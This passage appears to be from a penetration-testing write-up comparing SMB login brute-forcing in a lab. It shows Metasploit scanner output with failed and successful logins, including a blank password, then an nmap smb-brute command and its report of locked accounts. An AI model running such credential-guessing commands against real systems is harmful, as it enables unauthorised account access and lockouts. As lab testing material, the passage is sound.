[-] 192.168.1.38:445 - FAILED LOGIN (Windows Server 2012 Release Candidate Datacenter 8400) test3 : Password1 (STATUS_ACCOUNT_DISABLED)
[-] 192.168.1.38:445 - FAILED LOGIN (Windows Server 2012 Release Candidate Datacenter 8400) test4 : Password1 (STATUS_ACCOUNT_EXPIRED)
[-] 192.168.1.38:445 - FAILED LOGIN (Windows Server 2012 Release Candidate Datacenter 8400) test5 : Password1 (STATUS_INVALID_LOGON_HOURS)
[*] Auth-User: "test6"
[+] 192.168.1.38:445 - SUCCESSFUL LOGIN (Windows Server 2012 Release Candidate Datacenter 8400) 'test6' : 'Password1'
[-] 192.168.1.38:445 - FAILED LOGIN (Windows Server 2012 Release Candidate Datacenter 8400) test7 : Password1 (STATUS_ACCOUNT_LOCKED_OUT)
[*] Auth-User: "test8"
[+] 192.168.1.38:445 - SUCCESSFUL LOGIN (Windows Server 2012 Release Candidate Datacenter 8400) 'test8' : ''
[-] 192.168.1.38:445 - FAILED LOGIN (Windows Server 2012 Release Candidate Datacenter 8400) test9 : Password1 (STATUS_LOGON_TYPE_NOT_GRANTED)
[-] 192.168.1.38:445 SMB - [10/10] - FAILED LOGIN (Windows Server 2012 Release Candidate Datacenter 8400) test9 :  (STATUS_LOGON_FAILURE)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


Nmap smb-brute

root@bt:~# nmap -p445 --script=smb-brute --script-args smblockout=true,userdb=/root/jobs/users_nopass.txt,passdb=/root/jobs/passes.txt 192.168.1.38
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-12 22:31 BST
Nmap scan report for WIN-0T8EP9QMRVD.HMS (192.168.1.38)
Host is up (0.00068s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:49:2B:21 (VMware)

Host script results:
| smb-brute:
|   No accounts found
|_  Locked accounts found: test1, test2, test3, test4, test5, test6, test7

Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds